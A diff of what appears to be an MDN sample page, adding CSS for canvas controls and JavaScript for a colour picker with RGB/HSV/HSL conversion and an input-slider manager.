+#canvas .sample .delete {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+	width: 16px;
+	height: 16px;
+	margin: 5px;
+	background: url("images/canvas-controls.png") center left no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+#canvas .toggle-bg:hover {
+	cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+	background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+	height: 20px;
+	margin: 5px;
+	font-size: 16px;
+	position: absolute;
+	opacity: 0;
+	top: -10000px;
+	left: 0;
+	color: #777;
+	float: left;
+	transition: opacity 1s;
+}
+
+#zindex input {
+	border: 1px solid #DDD;
+	font-size: 16px;
+	color: #777;
+}
+
+#zindex .ui-input-slider-info {
+	width: 60px;
+}
+
+#zindex[data-active='true'] {
+	top: 0;
+	opacity: 1;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	var subscribers = [];
+	var pickers = [];
+
+	/**
+	 * RGBA Color class
+	 *
+	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 * @param lightness		0-100
+	 */
+
+	function Color(color) {
+
+		if(color instanceof Color === true) {
+			this.copy(color);
+			return;
+		}
+
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+		this.lightness = 0;
+		this.format = 'HSV';
+	}
+
+	function RGBColor(r, g, b) {
+		var color = new Color();
+		color.setRGBA(r, g, b, 1);
+		return color;
+	}
+
+	function RGBAColor(r, g, b, a) {
+		var color = new Color();
+		color.setRGBA(r, g, b, a);
+		return color;
+	}
+
+	function HSVColor(h, s, v) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		return color;
+	}
+
+	function HSVAColor(h, s, v, a) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		color.a = a;
+		return color;
+	}
+
+	function HSLColor(h, s, l) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		return color;
+	}
+
+	function HSLAColor(h, s, l, a) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		color.a = a;
+		return color;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+		this.format = '' + obj.format;
+		this.lightness = obj.lightness;
+	};
+
+	Color.prototype.setFormat = function setFormat(format) {
+		if (format === 'HSV')
+			this.format = 'HSV';
+		if (format === 'HSL')
+			this.format = 'HSL';
+	};
+
+	/*========== Methods to set Color Properties ==========*/
+
+	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+		return (typeof(value) === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+			value &gt;= 0 &amp;&amp; value &lt;= 255);
+	};
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (this.isValidRGBValue(red) === false ||
+			this.isValidRGBValue(green) === false ||
+			this.isValidRGBValue(blue) === false)
+			return;
+
+			this.r = red | 0;
+			this.g = green | 0;
+			this.b = blue | 0;
+
+		if (this.isValidRGBValue(alpha) === true)
+			this.a = alpha | 0;
+	};
+
+	Color.prototype.setByName = function setByName(name, value) {
+		if (name === 'r' || name === 'g' || name === 'b') {
+			if(this.isValidRGBValue(value) === false)
+				return;
+
+			this[name] = value;
+			this.updateHSX();
+		}
+	};
+
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.lightness = lightness;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHue = function setHue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 359)
+			return;
+		this.hue = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setSaturation = function setSaturation(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.saturation = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setValue = function setValue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setLightness = function setLightness(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.lightness = value;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+		this.RGBtoHSV();
+	};
+
+	/*========== Conversion Methods ==========*/
+
+	Color.prototype.convertToHSL = function convertToHSL() {
+		if (this.format === 'HSL')
+			return;
+
+		this.setFormat('HSL');
+		this.RGBtoHSL();
+	};
+
+	Color.prototype.convertToHSV = function convertToHSV() {
+		if (this.format === 'HSV')
+			return;
+
+		this.setFormat('HSV');
+		this.RGBtoHSV();
+	};
+
+	/*========== Update Methods ==========*/
+
+	Color.prototype.updateRGB = function updateRGB() {
+		if (this.format === 'HSV') {
+			this.HSVtoRGB();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.HSLtoRGB();
+			return;
+		}
+	};
+
+	Color.prototype.updateHSX = function updateHSX() {
+		if (this.format === 'HSV') {
+			this.RGBtoHSV();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.RGBtoHSL();
+			return;
+		}
+	};
+
+	Color.prototype.HSVtoRGB = function HSVtoRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.HSLtoRGB = function HSLtoRGB() {
+		var sat = this.saturation / 100;
+		var light = this.lightness / 100;
+		var C = sat * (1 - Math.abs(2 * light - 1));
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = light - C/2;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.RGBtoHSV = function RGBtoHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	};
+
+	Color.prototype.RGBtoHSL = function RGBtoHSL() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+		var lightness = (cmax + cmin) / 2;
+		var X = (1 - Math.abs(2 * lightness - 1));
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / X;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.lightness = (lightness * 100) | 0;
+	};
+
+	/*========== Get Methods ==========*/
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r &lt; 16) r = '0' + r;
+		if (this.g &lt; 16) g = '0' + g;
+		if (this.b &lt; 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	};
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+		var a = '';
+		var v = '';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'rgb' + a + rgb + v + ')';
+		return value;
+	};
+
+	Color.prototype.getHSLA = function getHSLA() {
+		if (this.format === 'HSV') {
+			var color = new Color(this);
+			color.setFormat('HSL');
+			color.updateHSX();
+			return color.getHSLA();
+		}
+
+		var a = '';
+		var v = '';
+		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'hsl' + a + hsl + v + ')';
+		return value;
+	};
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	};
+
+	/*=======================================================================*/
+	/*=======================================================================*/
+
+	/*========== Capture Mouse Movement ==========*/
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener('mousedown', function(e) {
+			callback(e);
+			document.addEventListener('mousemove', callback);
+		});
+
+		document.addEventListener('mouseup', function(e) {
+			document.removeEventListener('mousemove', callback);
+		});
+	};
+
+	/*====================*/
+	// Color Picker Class
+	/*====================*/
+
+	function ColorPicker(node) {
+		this.color = new Color();
+		this.node = node;
+		this.subscribers = [];
+
+		var type = this.node.getAttribute('data-mode');
+		var topic = this.node.getAttribute('data-topic');
+
+		this.topic = topic;
+		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+		this.color.setFormat(this.picker_mode);
+
+		this.createPickingArea();
+		this.createHueArea();
+
+		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+		this.createAlphaArea();
+
+		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+		this.createPreviewBox();
+		this.createChangeModeButton();
+
+		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+		this.setColor(this.color);
+		pickers[topic] = this;
+	}
+
+	/*************************************************************************/
+	//				Function for generating the color-picker
+	/*************************************************************************/
+
+	ColorPicker.prototype.createPickingArea = function createPickingArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'picking-area';
+		picker.className = 'picker';
+
+		this.picking_area = area;
+		this.color_picker = picker;
+		setMouseTracking(area, this.updateColor.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createHueArea = function createHueArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'hue';
+		picker.className ='slider-picker';
+
+		this.hue_area = area;
+		this.hue_picker = picker;
+		setMouseTracking(area, this.updateHueSlider.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+		var area = document.createElement('div');
+		var mask = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'alpha';
+		mask.className = 'alpha-mask';
+		picker.className = 'slider-picker';
+
+		this.alpha_area = area;
+		this.alpha_mask = mask;
+		this.alpha_picker = picker;
+		setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+		area.appendChild(mask);
+		mask.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+		var preview_box = document.createElement('div');
+		var preview_color = document.createElement('div');
+
+		preview_box.className = 'preview';
+		preview_color.className = 'preview-color';
+
+		this.preview_color = preview_color;
+
+		preview_box.appendChild(preview_color);
+		this.node.appendChild(preview_box);
+	};
+
+	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+		var wrapper = document.createElement('div');
+		var input = document.createElement('input');
+		var info = document.createElement('span');
+
+		wrapper.className = 'input';
+		wrapper.setAttribute('data-topic', topic);
+		info.textContent = title;
+		info.className = 'name';
+		input.setAttribute('type', 'text');
+
+		wrapper.appendChild(info);
+		wrapper.appendChild(input);
+		this.node.appendChild(wrapper);
+
+		input.addEventListener('change', onChangeFunc);
+		input.addEventListener('click', function() {
+			this.select();
+		});
+
+		this.subscribe(topic, function(value) {
+			input.value = value;
+		});
+	};
+
+	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+		var button = document.createElement('div');
+		button.className = 'switch_mode';
+		button.addEventListener('click', function() {
+			if (this.picker_mode === 'HSV')
+				this.setPickerMode('HSL');
+			else
+				this.setPickerMode('HSV');
+
+		}.bind(this));
+
+		this.node.appendChild(button);
+	};
+
+	/*************************************************************************/
+	//					Updates properties of UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updateColor = function updateColor(e) {
+		var x = e.pageX - this.picking_area.offsetLeft;
+		var y = e.pageY - this.picking_area.offsetTop;
+		var picker_offset = 5;
+
+		// width and height should be the same
+		var size = this.picking_area.clientWidth;
+
+		if (x &gt; size) x = size;
+		if (y &gt; size) y = size;
+		if (x &lt; 0) x = 0;
+		if (y &lt; 0) y = 0;
+
+		var value = 100 - (y * 100 / size) | 0;
+		var saturation = x * 100 / size | 0;
+
+		if (this.picker_mode === 'HSV')
+			this.color.setHSV(this.color.hue, saturation, value);
+		if (this.picker_mode === 'HSL')
+			this.color.setHSL(this.color.hue, saturation, value);
+
+		this.color_picker.style.left = x - picker_offset + 'px';
+		this.color_picker.style.top = y - picker_offset + 'px';
+
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('value', value);
+		this.notify('lightness', value);
+		this.notify('saturation', saturation);
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+		var x = e.pageX - this.hue_area.offsetLeft;
+		var width = this.hue_area.clientWidth;
+
+		if (x &lt; 0) x = 0;
+		if (x &gt; width) x = width;
+
+		// TODO 360 =&gt; 359
+		var hue = ((359 * x) / width) | 0;
+		// if (hue === 360) hue = 359;
+
+		this.updateSliderPosition(this.hue_picker, x);
+		this.setHue(hue);
+	};
+
+	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+		var x = e.pageX - this.alpha_area.offsetLeft;
+		var width = this.alpha_area.clientWidth;
+
+		if (x &lt; 0) x = 0;
+		if (x &gt; width) x = width;
+
+		this.color.a = (x / width).toFixed(2);
+
+		this.updateSliderPosition(this.alpha_picker, x);
+		this.updatePreviewColor();
+
+		this.notify('alpha', this.color.a);
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setHue = function setHue(value) {
+		this.color.setHue(value);
+
+		this.updatePickerBackground();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+		this.notify('hue', this.color.hue);
+
+		notify(this.topic, this.color);
+	};
+
+	// Updates when one of Saturation/Value/Lightness changes
+	ColorPicker.prototype.updateSLV = function updateSLV() {
+		this.updatePickerPosition();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	/*************************************************************************/
+	//				Update positions of various UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+		var size = this.picking_area.clientWidth;
+		var value = 0;
+		var offset = 5;
+
+		if (this.picker_mode === 'HSV')
+			value = this.color.value;
+		if (this.picker_mode === 'HSL')
+			value = this.color.lightness;
+
+		var x = (this.color.saturation * size / 100) | 0;
+		var y = size - (value * size / 100) | 0;
+
+		this.color_picker.style.left = x - offset + 'px';
+		this.color_picker.style.top = y - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+		elem.style.left = Math.max(pos - 3, -2) + 'px';
+	};
+
+	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+		var size = this.hue_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.hue * size / 360 ) | 0;
+		this.hue_picker.style.left = pos - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+		var size = this.alpha_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.a * size) | 0;
+		this.alpha_picker.style.left = pos - offset + 'px';
+	};
+
+	/*************************************************************************/
+	//						Update background colors
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+		var nc = new Color(this.color);
+		nc.setHSV(nc.hue, 100, 100);
+		this.picking_area.style.backgroundColor = nc.getHexa();
+	};
+
+	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+		this.alpha_mask.style.backgroundColor = this.color.getHexa();
+	};
+
+	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+		this.preview_color.style.backgroundColor = this.color.getColor();
+	};
+
+	/*************************************************************************/
+	//						Update input elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+		var value = parseInt(e.target.value);
+		this.setHue(value);
+		this.updateHuePicker();
+	};
+
+	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+		var value = parseInt(e.target.value);
+		this.color.setSaturation(value);
+		e.target.value = this.color.saturation;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setValue(value);
+		e.target.value = this.color.value;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+		var value = parseInt(e.target.value);
+		this.color.setLightness(value);
+		e.target.value = this.color.lightness;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('r', value);
+		e.target.value = this.color.r;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('g', value);
+		e.target.value = this.color.g;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('b', value);
+		e.target.value = this.color.b;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+		var value = parseFloat(e.target.value);
+
+		if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+			value &gt;= 0 &amp;&amp; value &lt;= 1)
+			this.color.a = value.toFixed(2);
+
+		e.target.value = this.color.a;
+		this.updateAlphaPicker();
+	};
+
+	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+		var value = e.target.value;
+		this.color.setHexa(value);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//							Internal Pub/Sub
+	/*************************************************************************/
+
+	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+		this.subscribers[topic] = callback;
+	};
+
+	ColorPicker.prototype.notify = function notify(topic, value) {
+		if (this.subscribers[topic])
+			this.subscribers[topic](value);
+	};
+
+	/*************************************************************************/
+	//							Set Picker Properties
+	/*************************************************************************/
+
+	ColorPicker.prototype.setColor = function setColor(color) {
+		if(color instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		if (color.format !== this.picker_mode) {
+			color.setFormat(this.picker_mode);
+			color.updateHSX();
+		}
+
+		this.color.copy(color);
+		this.updateHuePicker();
+		this.updatePickerPosition();
+		this.updatePickerBackground();
+		this.updateAlphaPicker();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+
+		this.notify('hue', this.color.hue);
+		this.notify('saturation', this.color.saturation);
+		this.notify('value', this.color.value);
+		this.notify('lightness', this.color.lightness);
+
+		this.notify('alpha', this.color.a);
+		this.notify('hexa', this.color.getHexa());
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+		if (mode !== 'HSV' &amp;&amp; mode !== 'HSL')
+			return;
+
+		this.picker_mode = mode;
+		this.node.setAttribute('data-mode', this.picker_mode);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//								UNUSED
+	/*************************************************************************/
+
+	var setPickerMode = function setPickerMode(topic, mode) {
+		if (pickers[topic])
+			pickers[topic].setPickerMode(mode);
+	};
+
+	var setColor = function setColor(topic, color) {
+		if (pickers[topic])
+			pickers[topic].setColor(color);
+	};
+
+	var getColor = function getColor(topic) {
+		if (pickers[topic])
+			return new Color(pickers[topic].color);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(callback) {
+		subscribers.indexOf(callback);
+		subscribers.splice(index, 1);
+	};
+
+	var notify = function notify(topic, value) {
+		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+			return;
+
+		var color = new Color(value);
+		for (var i in subscribers[topic])
+			subscribers[topic][i](color);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-color-picker');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new ColorPicker(elem[i]);
+	};
+
+	return {
+		init : init,
+		Color : Color,
+		RGBColor : RGBColor,
+		RGBAColor : RGBAColor,
+		HSVColor : HSVColor,
+		HSVAColor : HSVAColor,
+		HSLColor : HSLColor,
+		HSLAColor : HSLAColor,
+		setColor : setColor,
+		getColor : getColor,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPickerMode : setPickerMode
+	};
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision &gt;= 0 ? precision : 0;
+		this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value &gt; 0 ? value : 5;
+	};
